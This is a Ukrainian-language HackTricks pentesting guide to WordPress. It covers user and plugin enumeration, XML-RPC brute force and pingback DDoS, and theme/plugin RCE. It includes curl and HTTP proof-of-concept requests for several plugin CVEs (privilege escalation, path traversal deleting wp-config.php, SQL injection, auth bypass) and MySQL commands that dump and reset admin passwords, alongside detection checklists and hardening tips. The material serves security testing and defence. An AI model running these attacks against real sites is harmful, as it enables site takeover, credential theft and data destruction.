Wordpress
Reading time: 31 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
-
Uploaded файли зберігаються у:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Файли тем можна знайти в /wp-content/themes/, тож якщо ви зміните якийсь php у темі, щоб отримати RCE, ви, ймовірно, будете використовувати цей шлях. Наприклад: використовуючи theme twentytwelve ви можете отримати доступ до файлу 404.php за адресою: /wp-content/themes/twentytwelve/404.php
-
Ще одна корисна url-адреса може бути: /wp-content/themes/default/404.php
-
У wp-config.php можна знайти root-пароль бази даних.
-
Типові шляхи входу для перевірки: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
містить корисну інформацію, наприклад версію встановленого WordPress.wp-activate.php
використовується для процесу активації по email під час налаштування нового сайту WordPress.- Папки входу (можуть бути перейменовані, щоб сховати):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
— файл, що реалізує функцію WordPress для передачі даних з HTTP як транспортом та XML як механізмом кодування. Цей тип комунікації був замінений WordPress REST API.- Папка
wp-content
— головний каталог, де зберігаються plugins і themes. wp-content/uploads/
— каталог, куди зберігаються файли, завантажені на платформу.wp-includes/
— каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript-файли та віджети.wp-sitemap.xml
У версіях WordPress 5.5 і вище WordPress генерує sitemap XML файл зі всіма публічними записами та публічно доступними типами записів і таксономіями.
Post exploitation
- Файл
wp-config.php
містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача і пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG-режиму, що може бути корисним при усуненні несправностей.
Права користувачів
- Administrator
- Editor: Публікує та керує своїми й чужими записами
- Author: Публікує і керує своїми записами
- Contributor: Пише і керує своїми записами, але не може їх публікувати
- Subscriber: Переглядає записи і редагує свій профіль
Passive Enumeration
Get WordPress version
Перевірте, чи можна знайти файли /license.txt
або /readme.html
У вихідному коді сторінки (приклад з [https://wordpress.org/support/article/pages/]):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS link файли
- JavaScript файли
Отримати плагіни
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Отримати теми
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Отримання версій загалом
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Активне перерахування
Plugins and Themes
Імовірно, ви не зможете знайти всі доступні Plugins and Themes. Щоб виявити їх усі, вам потрібно буде actively Brute Force a list of Plugins and Themes (на щастя, існують автоматизовані інструменти, які містять ці списки).
Користувачі
- ID Brute: Ви отримуєте дійсних користувачів з WordPress-сайту шляхом Brute Forcing ID користувачів:
curl -s -I -X GET http://blog.example.com/?author=1
Якщо відповіді — 200 або 30X, це означає, що id є дійсним. Якщо відповідь — 400, то id є недійсним.
- wp-json: Ви також можете спробувати отримати інформацію про користувачів, зробивши запит:
curl http://blog.example.com/wp-json/wp/v2/users
Ще один /wp-json/
endpoint, який може виявити деяку інформацію про користувачів:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. Будуть надані лише дані про користувачів, у яких ця функція увімкнена.
Also note that /wp-json/wp/v2/pages could leak IP addresses.
- Login username enumeration: Під час входу через
/wp-login.php
повідомлення відрізняється, вказуючи, чи username існує чи ні.
XML-RPC
If xml-rpc.php
is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Ви можете автоматизувати цей процес using this наприклад).
To see if it is active try to access to /xmlrpc.php and send this request:
Перевірка
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
або metaWeblog.getUsersBlogs
— це деякі методи, які можна використовувати для brute-force credentials. Якщо ви знайдете будь-який із них, ви можете надіслати щось на кшталт:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Повідомлення "Incorrect username or password" у відповіді з кодом 200 має з'являтися, якщо облікові дані недійсні.
Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Також існує швидший спосіб брутфорсу облікових даних, використовуючи system.multicall
, оскільки ви можете перевірити кілька комбінацій у одному запиті:
.png)
Обхід 2FA
Цей метод призначений для програм, а не для людей, і він старий, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але основний вхід захищено 2FA, ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обходячи 2FA. Зверніть увагу, що ви не зможете виконати всі дії, доступні через консоль, але все ще можете отримати RCE, як Ippsec пояснює в https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS або сканування портів
Якщо ви знайдете метод pingback.ping у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.
Це можна використати, щоб змусити тисячі Wordpress сайтів звернутися до одного ресурсу (внаслідок чого в тому місці спричиниться DDoS), або ж використати його, щоб змусити Wordpress сканувати внутрішню мережу (можна вказати будь-який порт).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Якщо ви отримуєте faultCode зі значенням більше ніж 0 (17), це означає, що порт відкритий.
Зверніть увагу на використання system.multicall
в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
This file usually exists under the root of the Wordpress site: /wp-cron.php
Коли цей файл accessed виконується «важкий» MySQL query, тому його можуть використовувати attackers для спричинення DoS.
Також, за замовчуванням, wp-cron.php
викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричиняти проблеми (DoS).
Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без спричинення проблем).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Цей інструмент перевіряє, чи існує methodName: pingback.ping і шлях /wp-json/oembed/1.0/proxy, і якщо існують — намагається їх експлуатувати.
Автоматичні інструменти
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Отримати доступ, переписавши біт
Скоріше цікавинка, ніж реальна атака. У CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man можна було інвертувати 1 біт у будь-якому wordpress-файлі. Отже, можна було інвертувати позицію 5389
файлу /var/www/html/wp-includes/user.php
, щоб NOPнути операцію NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Панель RCE
Модифікація php з використовуваної теми (потрібні admin credentials)
Appearance → Theme Editor → 404 Template (праворуч)
Змініть вміст на php shell:
Шукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Можна використати:
use exploit/unix/webapp/wp_admin_shell_upload
щоб отримати сесію.
Plugin RCE
PHP плагін
Може бути можливість завантажити .php файли як плагін.
Створіть ваш php backdoor, наприклад використовуючи:
Потім додайте новий плагін:
Завантажте плагін і натисніть Install Now:
Натисніть Procced:
Можливо, це нічого не покаже на перший погляд, але якщо перейти в Media, ви побачите, що ваш shell було завантажено:
Відкрийте його й ви побачите URL для виконання reverse shell:
Uploading and activating malicious plugin
Цей метод передбачає встановлення шкідливого плагіна, відомого як вразливий, і може бути використаний для отримання web shell. Процес виконується через WordPress dashboard наступним чином:
- Plugin Acquisition: плагін отримується з джерела на кшталт Exploit DB, наприклад here.
- Plugin Installation:
- Перейдіть у WordPress dashboard, далі
Dashboard > Plugins > Upload Plugin
. - Завантажте zip-файл завантаженого плагіна.
- Plugin Activation: Після успішної інсталяції плагін потрібно активувати через dashboard.
- Exploitation:
- Після встановлення та активації плагіна "reflex-gallery" його можна експлуатувати, оскільки він відомий як вразливий.
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши потрібні команди, можна встановити meterpreter session, що дає несанкціонований доступ до сайту.
- Варто зазначити, що це лише один із багатьох методів експлуатації WordPress сайту.
Контент містить ілюстрації, що показують кроки у WordPress dashboard для встановлення та активації плагіна. Однак важливо пам'ятати, що експлуатація вразливостей таким чином є незаконною і неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад під час penetration testing за явного дозволу.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike — це скрипт, призначений для ескалації вразливості Cross-Site Scripting (XSS) до Remote Code Execution (RCE) або інших критичних вразливостей у WordPress. Для детальнішої інформації див. this post. Він забезпечує підтримку для WordPress версій 6.X.X, 5.X.X та 4.X.X і дозволяє:
- Privilege Escalation: Створює користувача в WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Завантажити ваш custom plugin (backdoor) у WordPress.
- (RCE) Built-In Plugin Edit: Редагувати built-in plugins у WordPress.
- (RCE) Built-In Theme Edit: Редагувати built-in themes у WordPress.
- (Custom) Custom Exploits: Кастомні експлойти для third-party WordPress plugins/themes.
Пост-експлуатація
Витягніть імена користувачів та паролі:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Змінити пароль admin:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest плагінів Wordpress
Атакувальна поверхня
Розуміння того, як плагін Wordpress може відкривати функціональність, ключове для виявлення вразливостей. Нижче наведено пункти, у яких плагін може відкривати функціональність, а також приклади вразливих плагінів у this blog post.
wp_ajax
Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX handlers. Вони можуть містити помилки в логіці, авторизації або аутентифікації. Більше того, часто ці функції базують автентифікацію та авторизацію на наявності wordpress nonce, який може бути у будь-якого автентифікованого користувача в інстанції Wordpress (незалежно від ролі).
Нижче — функції, які можуть використовуватися для експонування функції в плагіні:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Використання nopriv
робить endpoint доступним для будь-яких користувачів (навіть неавторизованих).
caution
Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції wp_verify_nonce
, ця функція лише перевіряє, чи користувач авторизований, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
- REST API
Також можливо оприлюднити функції з wordpress, зареєструвавши REST API за допомогою функції register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
— це callback-функція, яка перевіряє, чи має конкретний користувач дозвіл викликати метод API.
Якщо використовується вбудована функція __return_true
, вона просто пропустить перевірку прав користувача.
- Прямий доступ до php-файлу
Звісно, Wordpress використовує PHP, і файли всередині плагінів доступні напряму через веб. Тож якщо плагін відкриває вразливу функціональність, яка викликається просто при зверненні до файлу, вона буде експлуатована будь-яким користувачем.
Підміна REST через trusted-header (WooCommerce Payments ≤ 5.6.1)
Деякі плагіни реалізують скорочення «trusted header» для внутрішніх інтеграцій або реверс-проксі і потім використовують цей заголовок, щоб встановити контекст поточного користувача для REST-запитів. Якщо заголовок не пов'язаний криптографічно з запитом компонентом вище в стеку, нападник може підробити його і звертатися до привілейованих REST-маршрутів від імені адміністратора.
- Вплив: неавтентифікована ескалація привілеїв до адміністратора шляхом створення нового облікового запису адміністратора через core users REST route.
- Приклад заголовка:
X-Wcpay-Platform-Checkout-User: 1
(примушує ID користувача 1, зазвичай перший обліковий запис адміністратора). - Зловживаний маршрут:
POST /wp-json/wp/v2/users
з масивом ролей із підвищеними привілеями.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Чому це працює
- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації й пропускає capability checks.
- WordPress core очікує capability
create_users
для цього маршруту; хак плагіна обходить це, безпосередньо встановлюючи контекст поточного користувача з заголовка.
Очікувані ознаки успіху
- HTTP 201 із JSON-тілом, що описує створеного користувача.
- Новий адміністратор, видимий у
wp-admin/users.php
.
Чекліст виявлення
- Шукайте за допомогою grep
getallheaders()
,$_SERVER['HTTP_...']
, або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад,wp_set_current_user()
,wp_set_auth_cookie()
). - Перевірте REST-реєстрації на предмет привілейованих callback-ів, які не мають надійних перевірок
permission_callback
і натомість покладаються на заголовки запиту. - Шукайте використання функцій керування користувачами ядра (
wp_insert_user
,wp_create_user
) всередині REST-обробників, доступ до яких захищено лише значеннями заголовків.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_
and wp_ajax_nopriv_
hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()
or at leastis_user_logged_in()
), and - A CSRF nonce validated with
check_ajax_referer()
/wp_verify_nonce()
, and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Issues introduced by this snippet:
- Неавторизований доступ – зареєстровано хук
wp_ajax_nopriv_
. - No nonce / capability check – будь-який відвідувач може звернутися до endpoint.
- Немає санітизації шляху – рядок, керований користувачем,
fontfamily
, конкатенується зі шляхом файлової системи без фільтрації, дозволяючи класичний../../
traversal.
Експлуатація
Атакуючий може видалити будь-який файл або директорію нижче базового каталогу uploads (зазвичай <wp-root>/wp-content/uploads/
) відправивши один HTTP POST запит:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php
lives outside uploads, four ../
sequences are enough on a default installation. Deleting wp-config.php
forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Іншими значущими цілями є .php
файли плагінів/тем (щоб зламати security plugins) або правила .htaccess
.
Detection checklist
- Будь-який
add_action( 'wp_ajax_nopriv_...')
зворотний виклик (callback), який викликає файлові хелпери (copy()
,unlink()
,$wp_filesystem->delete()
, тощо). - Конкатенація неочищених введених даних користувача в шляхи (шукайте
$_POST
,$_GET
,$_REQUEST
). - Відсутність
check_ajax_referer()
таcurrent_user_can()
/is_user_logged_in()
.
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']
) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username>
if the username appeared in an internal array $options['viewing_admin_as_role_are']
, but performed neither a current_user_can()
check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Чому це можна експлуатувати
- Довіряє
$_REQUEST['reset-for']
та опції плагіна без серверної авторизації. - Якщо користувач раніше мав вищі привілеї, збережені в
_asenha_view_admin_as_original_roles
, і його знизили в правах, він може відновити їх, звернувшись до шляху скидання. - У деяких розгортаннях будь-який автентифікований користувач може ініціювати скидання для іншого імені користувача, яке все ще присутнє в
viewing_admin_as_role_are
(некоректна перевірка авторизації).
Експлуатація (приклад)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
На вразливих збірках це видаляє поточні ролі і повторно додає збережені оригінальні ролі (наприклад, administrator
), фактично підвищуючи привілеї.
Detection checklist
- Шукайте функції перемикання ролей, які зберігають “original roles” в user meta (наприклад,
_asenha_view_admin_as_original_roles
). - Визначайте шляхи скидання/відновлення, які:
- Читають імена користувачів з
$_REQUEST
/$_GET
/$_POST
. - Модифікують ролі через
add_role()
/remove_role()
безcurrent_user_can()
таwp_verify_nonce()
/check_admin_referer()
. - Авторизують на основі масиву опцій плагіна (наприклад,
viewing_admin_as_role_are
) замість перевірки capabilities актора.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Деякі плагіни підключають допоміжні функції перемикання користувача до публічного init
хука і визначають ідентичність із cookie, контрольованого клієнтом. Якщо код викликає wp_set_auth_cookie()
без перевірки автентифікації, capability та дійсного nonce, будь-який неверифікований відвідувач може примусово залогінитися як довільний ID користувача.
Типовий вразливий патерн (спрощено з Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Чому це можна експлуатувати
- Публічний хук
init
робить обробник доступним для unauthenticated користувачів (немає захистуis_user_logged_in()
). - Ідентичність визначається cookie, яку можна змінити на боці клієнта (
original_user_id
). - Прямий виклик
wp_set_auth_cookie($uid)
авторизує запитувача як цього користувача без жодних перевірок capability/nonce.
Експлуатація (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Зауваги щодо WAF для WordPress/plugin CVEs
Загальні edge/server WAFs налаштовані на широкі шаблони (SQLi, XSS, LFI). Багато високовпливових WordPress/plugin вразливостей — це помилки логіки/auth специфічні для додатка, які виглядають як нешкідливий трафік, якщо движок не розуміє маршрути WordPress і семантику плагіна.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes). Default payloads often succeed without obfuscation. - Типові високовпливові випадки: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Не покладайтеся на generic WAF signatures для захисту plugin CVEs. Впроваджуйте application-layer, vulnerability-specific virtual patches або швидко оновлюйте.
- Надавайте перевагу positive-security перевіркам у коді (capabilities, nonces, strict input validation) над negative regex фільтрами.
Захист WordPress
Regular Updates
Переконайтеся, що WordPress, plugins і themes оновлені. Також підтвердіть, що автоматичне оновлення увімкнено в wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Також встановлюйте лише надійні плагіни та теми WordPress.
Security Plugins
Інші рекомендації
- Видаліть стандартного користувача admin
- Використовуйте надійні паролі та 2FA
- Періодично переглядайте права користувачів
- Обмежте кількість спроб входу, щоб запобігти Brute Force-атакам
- Перейменуйте файл
wp-admin.php
та дозволяйте доступ лише з внутрішньої мережі або з певних IP-адрес.
Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2)
Плагін WP Job Portal рекрутингу надав доступ до завдання savecategory, яке в кінцевому підсумку виконує наступний вразливий код всередині modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Проблеми, викликані цим фрагментом:
- Unsanitised user input –
parentid
надходить безпосередньо з HTTP-запиту. - String concatenation inside the WHERE clause – відсутні
is_numeric()
/esc_sql()
/ prepared statement. - Unauthenticated reachability – хоча дія виконується через
admin-post.php
, єдина перевірка — CSRF nonce (wp_verify_nonce()
), який будь-який відвідувач може отримати зі сторінки, що містить шорткод[wpjobportal_my_resumes]
.
Експлуатація
- Отримати свіжий nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Впровадити довільний SQL, використовуючи
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Інше завдання, downloadcustomfile, дозволяло відвідувачам завантажувати any file on disk через path traversal. Уразливий sink знаходиться в modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
контролюється атакуючим і конкатенується without sanitisation. Знову ж, єдиний бар'єр — CSRF nonce, який можна отримати зі сторінки резюме.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Сервер повертає вміст wp-config.php
, leaking DB credentials and auth keys.
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Багато тем/плагінів включають допоміжні скрипти "social login", доступні через admin-ajax.php. Якщо неаутентифікована AJAX дія (wp_ajax_nopriv_...) довіряє ідентифікаторам, наданим клієнтом, коли дані провайдера відсутні, і потім викликає wp_set_auth_cookie(), це стає повним обходом автентифікації.
Типовий вразливий патерн (спрощено)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Чому це експлуатується
- Можливість доступу без автентифікації через admin-ajax.php (wp_ajax_nopriv_… action).
- Відсутні nonce/capability checks перед зміною стану.
- Відсутня перевірка провайдера OAuth/OpenID; гілка за замовчуванням приймає введення від нападника.
- get_user_by('email', $_POST['id']) з наступним викликом wp_set_auth_cookie($uid) аутентифікує запитувача як будь-яку існуючу email-адресу.
Експлуатація (unauthenticated)
- Передумови: attacker може дістатися до /wp-admin/admin-ajax.php і знає/вгадує дійсну електронну адресу користувача.
- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Очікувані ознаки успіху
- HTTP 200 з JSON тілом як-от {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* для постраждалого користувача; подальші запити є автентифікованими.
Знаходження імені action
- Перевірте тему/плагін на наявність реєстрацій add_action('wp_ajax_nopriv_...', '...') в коді social login (наприклад, framework/add-ons/social-login/class-social-login.php).
- Grep на наявність wp_set_auth_cookie(), get_user_by('email', ...) всередині AJAX-обробників.
Контрольний список виявлення
- Веб-логи, що показують неавтентифіковані POST-запити до /wp-admin/admin-ajax.php з дією social-login та id=
. - Відповіді 200 із success JSON безпосередньо перед автентифікованим трафіком з тієї ж IP/User-Agent.
Зміцнення безпеки
- Не виводьте ідентичність з вхідних даних клієнта. Приймайте лише email/ID, які походять від валідованого токена/ID провайдера.
- Вимагайте CSRF nonces та перевірок capability навіть для допоміжних логін-функцій; уникайте реєстрації wp_ajax_nopriv_ якщо це не суворо необхідно.
- Валідуйте та перевіряйте OAuth/OIDC відповіді на сервері; відхиляйте відсутніх/недійсних провайдерів (без fallback до POST id).
- Розгляньте тимчасове відключення social login або віртуальне патчення на межі (блокування вразливої дії) до виправлення.
Виправлена поведінка (Jobmonster 4.8.0)
- Видалено небезпечний fallback із $_POST['id']; $user_email має походити з перевірених гілок провайдера в switch($_POST['using']).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Деякі плагіни відкривають REST-ендпоінти, які емісіюють повторно використовувані “connection keys” або tokens без перевірки capability викликача. Якщо маршрут автентифікується лише за вгадуваною атрибутом (наприклад, username) і не прив'язує ключ до користувача/сесії з перевірками capability, будь-який неавтентифікований атакуючий може створити ключ і викликати привілейовані дії (створення облікового запису admin, дії плагінів → RCE).
- Вразливий маршрут (приклад): sure-triggers/v1/connection/create-wp-connection
- Помилка: приймає username, видає connection key без current_user_can() або суворого permission_callback
- Наслідок: повне захоплення шляхом прив'язки емісованого ключа до внутрішніх привілейованих дій
PoC – згенеруйте (mint) connection key і використайте його
